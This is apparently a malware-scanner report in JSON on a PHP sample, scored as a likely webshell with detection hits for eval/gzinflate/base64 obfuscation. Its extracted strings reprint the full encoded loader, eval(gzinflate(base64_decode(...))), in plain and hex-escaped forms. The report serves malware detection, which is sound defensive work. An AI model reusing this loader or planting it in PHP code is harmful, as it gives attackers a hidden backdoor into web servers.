{ "ml": { "v": "4", "fs": [ { "id": 0, "prob": 0.9999829530715942, "class": 2 } ], "prob": 0.99998295, "class": 2, "models": [ { "m": "az", "prob": 0.9957937, "class": 0 }, { "m": "az/scripts", "prob": 0.99995375, "class": 2 }, { "m": "az/php", "prob": 0.99998295, "class": 2 } ], "version": "v16.16", "thresholds": [ 0.9961138, 0.99909174 ], "analyzed_at": "2026-05-10T01:11:10Z" }, "path": "258859a60ee6702db89b92ea6ba1fae0", "raw": { "v": "4", "fs": [ { "f": "O₂(C₂As)H(Po)Md₂(Pt)Th", "k": { "source.imports[0]": "eval", "source.strings[0]": "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", "source.strings[1]": "\\x65\\x76\\x61\\x6C\\x28\\x67\\x7A\\x69\\x6E\\x66\\x6C\\x61\\x74\\x65\\x28\\x62\\x61\\x73\\x65\\x36\\x34\\x5F\\x64\\x65\\x63\\x6F\\x64\\x65\\x28'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'\\x29\\x29\\x29\\x3B", "source.strings[2]": "eval(\"eval(gzinflate(base64_decode('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')));\");", "source.has_imports": true }, "x": 185, "id": 0, "is": [ "eval" ], "ms": { "file": { "size": 2408.0 }, "text": { "digit_ratio": 0.19, "total_lines": 3.0, "char_entropy": 6.02, "unique_chars": 75.0, "escape_density": 1.37, "import_density": 33.33, "lines_over_200": 1.0, "lines_over_500": 1.0, "string_density": 0.67, "avg_line_length": 802.0, "lines_over_1000": 1.0, "max_line_length": 2399.0, "hex_escape_count": 33.0, "last_line_length": 2.0, "long_token_count": 1.0, "most_common_char": "x", "whitespace_ratio": 0.0, "most_common_ratio": 0.03, "identifier_density": 0.33, "line_length_stddev": 1129.25, "encoded_string_ratio": 0.5, "normalized_import_count": 0.58, "normalized_string_count": 1.15, "normalized_unique_identifiers": 0.63 }, "imports": { "total": 1.0, "unique_modules": 1.0, "third_party_count": 1.0, "third_party_ratio": 1.0 }, "strings": { "total": 2.0, "avg_length": 2323.0, "max_length": 2390.0, "avg_entropy": 5.99, "total_bytes": 4646.0, "entropy_stddev": 0.01, "base64_candidates": 1.0, "very_long_strings": 2.0, "high_entropy_count": 2.0, "unicode_heavy_strings": 1.0 }, "comments": {}, "functions": {}, "identifiers": { "total": 1.0, "avg_length": 4.0, "max_length": 4.0, "min_length": 4.0, "avg_entropy": 2.0, "reuse_ratio": 1.0, "unique_count": 1.0, "all_lowercase_ratio": 1.0 } }, "ss": [ [ 11, "\\x65\\x76\\x61\\x6C\\x28\\x67\\x7A\\x69\\x6E\\x66\\x6C\\x61\\x74\\x65\\x28\\x62\\x61\\x73\\x65\\x36\\x34\\x5F\\x64\\x65\\x63\\x6F\\x64\\x65\\x28'TVa3DsQKEfw" ], [ 128, "TVa3DsQKEfwXGkAunJMQhXMO52zrNc45h7P99Rw8JChGo52Z7UarLa90+Ntf/rgJ/I+bJH4M/8D9cSPUj8mfxvyY/kH4gfjT+3eGxP7c+U8O+a+G/qmhvxz683HxN/83" ], [ 6, "unicode-escape", "eval(\"eval(gzinflate(base64_decode('TVa3DsQKEfwXGkAunJMQhXMO52zrNc45h7P99Rw8JChGo52Z7UarLa90+Ntf/rgJ/I+bJH4M/8D9cSPUj8mfxvyY/kH4" ] ], "sz": 2408, "ts": [ { "c": 0.800000011920929, "d": "Very short file (under 12 lines)", "e": [ "text.total_lines = 3.00" ], "i": "metadata/file/text/metrics::file-under-12-lines", "l": 1 }, { "a": "T1027", "c": 0.8999999761581421, "d": "Exactly one line exceeds 1000 chars", "e": [ "text.lines_over_1000 = 1.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::single-long-line-outlier", "l": 1, "m": "B0032" }, { "c": 0.8999999761581421, "d": "Very long line", "e": [ "text.max_line_length = 2399.00" ], "i": "metadata/file/text/metrics::single-long-line", "l": 1 }, { "a": "T1059.006", "c": 0.75, "d": "PHP eval() token present", "e": [ "eval" ], "i": "micro-behaviors/process/interpreter/eval::eval-symbol", "l": 4, "m": "E1059" }, { "a": "T1059.006", "c": 0.9800000190734863, "d": "eval gzinflate base64 chain", "e": [ "eval(\"eval(gzinflate(base64_decode('TVa3DsQKEfwXGkAunJMQhXMO52zrNc45h7P99Rw8JChGo52Z7UarLa90+Ntf/rgJ..." ], "i": "micro-behaviors/process/interpreter/eval::eval-gzinflate-base64", "l": 4, "m": "E1059" }, { "a": "T1027", "c": 0.9200000166893005, "d": "Hex escaped PHP danger keywords", "e": [ "\\x65\\x76\\x61\\x6C" ], "i": "objectives/command-and-control/backdoor/webshell/decoder::escaped-hex-dangerous-php", "l": 4, "m": "B0030" }, { "a": "T1505.003", "c": 0.8600000143051147, "d": "Very long embedded string", "e": [ "strings.max_length = 2390.00" ], "i": "objectives/command-and-control/backdoor/webshell/stager::very-long-string", "l": 1 }, { "a": "T1505.003", "c": 0.8399999737739563, "d": "Near-zero whitespace script", "e": [ "text.whitespace_ratio = 0.00" ], "i": "objectives/command-and-control/backdoor/webshell/stager::near-zero-whitespace", "l": 1 }, { "c": 0.949999988079071, "d": "PHP opening tag present", "e": [ "\u003c?php" ], "i": "metadata/lang/scripted::php-open-tag", "l": 1 }, { "a": "T1027", "c": 0.699999988079071, "d": "Very low whitespace ratio (minified/compressed)", "e": [ "text.whitespace_ratio = 0.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::low-whitespace", "l": 2, "m": "B0032" }, { "c": 0.6000000238418579, "d": "Very long base64 strings present", "e": [ "TVa3DsQKEfwXGkAunJMQhXMO52zrNc45h7P99Rw8JChGo52Z7UarLa90+Ntf/rgJ/I+bJH4M/8D9cSPUj8mfxvyY/kH4gfjT+3eGxP7c+U8O+a+G/qmhvxz683HxN/83" ], "i": "objectives/anti-static/obfuscation/string/base64::long-base64-in-strings", "l": 3 }, { "a": "T1027", "c": 0.800000011920929, "d": "High overall text entropy (encoded", "e": [ "text.char_entropy = 6.02" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::high-text-entropy", "l": 2, "m": "B0032" }, { "a": "T1027", "c": 0.4000000059604645, "d": "Very few string literals (string obfuscation indicator)", "e": [ "strings.total = 2.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/strings::few-strings", "l": 3, "m": "B0032" }, { "c": 1.0, "d": "php code embedded in string", "e": [ "Detected php at offset 0x0" ], "i": "metadata/lang/embedded::php", "l": 2 }, { "c": 0.8999999761581421, "d": "Decoded unicode-escape content", "e": [ "eval(\"eval(gzinflate(base64_decode('TVa3 \u003cunicode-escape\u003e" ], "i": "metadata/encoded-payload/unicode-escape", "l": 2 }, { "c": 0.8999999761581421, "d": "PHP webshell obfuscated by encoding", "e": [ "\\x65\\x76\\x61\\x6C\\x28", "\u003c?", "\u003c?php" ], "i": "third_party/SigBase/WEBSHELL/PHP/OBFUSC/Encoded", "l": 5 }, { "c": 0.8999999761581421, "d": "PHP webshell using $a($code) for kind of eval with encoded blob to decode, e.g. b374k", "e": [ "\u003c?", "\u003c?php", "eval(" ], "i": "third_party/SigBase/WEBSHELL/PHP/Dynamic/Big", "l": 5 }, { "c": 0.8999999761581421, "d": "PHP webshell using some kind of eval with encoded blob to decode, which is checked with YARAs math.entropy module", "e": [ "eval(\"", "\u003c?php", "\u003c?" ], "i": "third_party/SigBase/WEBSHELL/PHP/Encoded/Big", "l": 5 } ], "sha": "0cf543868424d1b4f5c62f75ac5381fbe759c08ace3257b5dbb7b14e1274853b", "path": "/data/samples/bad/datasets/kaker-scripts/php/258859a60ee6702db89b92ea6ba1fae0", "type": "php" } ], "tv": "87c42" } }